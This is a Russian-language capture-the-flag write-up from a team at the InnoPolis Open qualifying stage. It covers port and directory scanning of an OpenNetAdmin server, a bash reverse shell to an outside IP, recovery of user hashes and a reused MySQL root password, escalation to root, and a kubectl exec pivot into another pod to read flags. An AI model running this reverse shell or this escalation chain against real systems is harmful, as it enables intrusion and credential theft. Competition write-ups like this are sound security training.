

First Task

Второй отборочный этап InnoPolis Open

Отчет о проделанной работе

Общая информация о команде:

Название: 6D5M

Участники:

- Якубовский Арсений Алексеевич, yaa1807@gmail.com
- Кравцов Николай Дмитриевич, kravtsovnd08@gmail.com
- Талгаренко Константин Антонович, marcusov123123@gmail.com
- Крючков Степан Денисович, stepan@nohacks.me

Оглавление:

1. Сканирование портов и директорий на сайте.
2. Получение reverse shell
3. Прокидывание второго reverse shell
4. Поиск флагов

Содержание:

Сканирование портов и директорий на сайте.

```
nmap -sCV -Pn -p- 89.169.138.186
```

```
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 44:5b:3a:21:92:c5:57:3d:4d:7d:64:2c:eb:1b:d1:cb (ECDSA)
|_  256 19:31:1a:cc:99:a1:b9:b3:c0:8e:b8:21:ef:12:d9:a2 (ED25519)
```

```
25/tcp filtered smtp
80/tcp open      http      nginx 1.24.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     ONA_SESSION_ID:
|_      httponly flag not set
|_http-title: OpenNetAdmin :: Own Your Network
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
dirsearch -e extensions.txt -w directory-list-2.3-medium.txt -u
http://89.169.138.186
```

```
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
    from pkg_resources import DistributionNotFound, VersionConflict
```

```
 _|. _ _  _ _ _ _|_   v0.4.3
(_||| _) (/_(||| (| )
```

Extensions: extensions.txt | HTTP method: GET | Threads: 25 | Wordlist size: 220545

Output File: /home/kolya080808/ona-rce/reports/http_89.169.138.186/_25-02-23_11-53-19.txt

Target: http://89.169.138.186/

```
[11:53:19] Starting:
[11:53:21] 301 - 317B - /images -> http://89.169.138.186/images/
[11:53:22] 301 - 318B - /modules -> http://89.169.138.186/modules/
[11:53:23] 301 - 316B - /local -> http://89.169.138.186/local/
[11:53:23] 301 - 318B - /plugins -> http://89.169.138.186/plugins/
[11:53:25] 301 - 321B - /javascript -> http://89.169.138.186/javascript/
[11:53:25] 301 - 318B - /include -> http://89.169.138.186/include/
[11:53:26] 301 - 317B - /config -> http://89.169.138.186/config/
CTRL+C detected: Pausing threads, please wait...
```

Task Completed

Получение reverse shell

Проанализировав страницу и найдя версию, мы нашли для нее [эксплоит с reverse shell](#).

Прокидывание второго reverse shell

Мы поняли, что застряли в папке /opt/ona/www, поэтому мы обошли это ограничение, прокинув еще один reverse shell вот таким образом:

```
bash -c "bash -i >& /dev/tcp/91.223.90.26/1234 0>&1"
```

Поиск флагов

Далее мы прошли на папку назад, и получили первый флаг в /opt/ona/token.

```
</body>
</html>
sh$ cat /opt/ona/token
innoc tf5d409dbcd067ea089dd1c2cd9
```

Проведя длительную эnumерацию, мы пошли в папку /opt/ona/www/install, и прочли ona-data.sql

```
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'guest','098f6bcd4621d373cade4e832627b4f6',0,'2007-10-30 02:55:37','2007-12-02 23:44:21'),(2,'admin','21232f297a57a5a743894a0e4a801fc3',0,'2007-10-30 03:00:17','2007-12-02 22:10:26');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
```

Мы получили пароль админа с помощью crackstation, но он нигде кроме веб сервера не понадобился.

Далее мы прочли ../database.backup:

```

workspace_plugins
sh$ ls -la ../
total 492
drwxr-xr-x 1 www-data www-data 4096 Feb 22 13:32 .
drwxr-xr-x 1 root      root    4096 Feb 22 08:50 ..
-rw-r--r-- 1 www-data www-data 8196 Feb 11 06:58 .DS_Store
drwxr-xr-x 1 www-data www-data 4096 Mar 17 2024 .git
-rw-r--r-- 1 www-data www-data 318 Mar 17 2024 .gitignore
-rw-r--r-- 1 www-data www-data 17987 Mar 17 2024 LICENSE
-rw-r--r-- 1 www-data www-data 2172 Mar 17 2024 README.md
-rw-r--r-- 1 www-data www-data 8 Mar 17 2024 VERSION
drwxr-xr-x 1 www-data www-data 4096 Mar 17 2024 bin
-rw----- 1 www-data www-data 405504 Feb 22 13:11 core.974
-rw-rw-r-- 1 www-data www-data 62 Feb 22 13:24 database.backup
drwxr-xr-x 1 www-data www-data 4096 Mar 17 2024 docs
drwxr-xr-x 1 www-data www-data 4096 Mar 17 2024 etc
drwxr-xr-x 1 www-data www-data 4096 Mar 17 2024 install
drwxr-xr-x 1 www-data www-data 4096 Mar 17 2024 sql
-rw-r--r-- 1 www-data www-data 33 Feb 22 13:32 token
drwxr-xr-x 1 www-data www-data 4096 Feb 23 08:57 www
sh$ cat ../database.backup
ALTER USER 'root'@'localhost' IDENTIFIED BY 'sUp3rP@$sw0rd!';

```

Потом получили доступ к базе данных с помощью `mysql -u root -p -h localhost ona_default`, и получили доступ к базе, где в `token` и таблице `token` мы нашли второй флаг.

Попробовав поменять пользователя на `root` с помощью `su`, и введя тот же пароль что и от базы данных, мы меняли пользователя и прочли флаг в `/root/token`.

Далее мы закинули на сервер `linpeas` и `dospeas`, где нашли, что мы находимся в докере, и нужно сделать `docker` перемещение.

Проанализировав и увидев, что на сервере стоит `kubectrl` контейнер, мы загрузили бинарь и посмотрели все проды (`./kubectrl get pods -n default`), меняли юзера с помощью команды `./kubectrl exec -it site-6bb878b46c-dvs9b -n default -- /bin/bash <c -it site-6bb878b46c-dvs9b -n default -- /bin/bash` увидели что `root@ona` сменился на `root@site`, поняли, что скорее всего таски соединены, и по факту мы на другой таске и прочитали токен в руте.

```

root@ona-596cb46fc8-hmptq:/opt/ona/www# ./kubectl get pods -n default
./kubectl get pods -n default
NAME                READY   STATUS    RESTARTS   AGE
ona-596cb46fc8-hmptq 1/1     Running   0           30m
site-6bb878b46c-dvs9b 1/1     Running   2 (3h21m ago)  15h
root@ona-596cb46fc8-hmptq:/opt/ona/www# kubectl delete pod ona-596cb46fc8-hmptq -n default
<opt/ona/www# kubectl delete pod ona-596cb46fc8-hmptq -n default
bash: kubectl: command not found
root@ona-596cb46fc8-hmptq:/opt/ona/www# kubectl exec -it site-6bb878b46c-dvs9b -n default -- /bin/bash
<opt/ona/www# kubectl exec -it site-6bb878b46c-dvs9b -n default -- /bin/bash
bash: kubectl: command not found
root@ona-596cb46fc8-hmptq:/opt/ona/www# ./kubectl exec -it site-6bb878b46c-dvs9b -n default -- /bin/bash
<< -it site-6bb878b46c-dvs9b -n default -- /bin/bash
root@site-6bb878b46c-dvs9b:/app#

root@site-6bb878b46c-dvs9b:/app# ls
ls
hosts  main.py  templates  todo  upload  uploads

```

```

root@site-6bb878b46c-dvs9b:/home# cd ..
cd ..
root@site-6bb878b46c-dvs9b:/# cd root
cd root
root@site-6bb878b46c-dvs9b:~# ls
ls
token
root@site-6bb878b46c-dvs9b:~# cat token
cat token
innocf0b85ac5d722bef34e2c82d9ef

```

Зайдя в /app, мы нашли интересные файлы. Мы могли их изменять, но были недоступны команды nano, vim или подобные. Поэтому через команду echo мы переписали файл /app/hosts на такой:

```

127.0.0.1      localhost
::1           localhost ip6-localhost ip6-loopback
fe00::0       ip6-localnet
ff00::0       ip6-mcastprefix
ff02::1       ip6-allnodes
ff02::2       ip6-allrouters
172.17.0.5     04fec8a65eb1

#DNS query type A
158.160.47.242 inno-open25-infosec.ru
#TODO add other sub-domain and his external ip
127.0.0.1      6d5mteam.inno-open25-infosec.ru

```

и попробовали зайти на этот сайт (6d5mteam.inno-open25-infosec.ru).

Далее мы перешли на вторую машину, и после сканирования директорий с помощью дирсёрч, мы нашли флаг на странице /admin.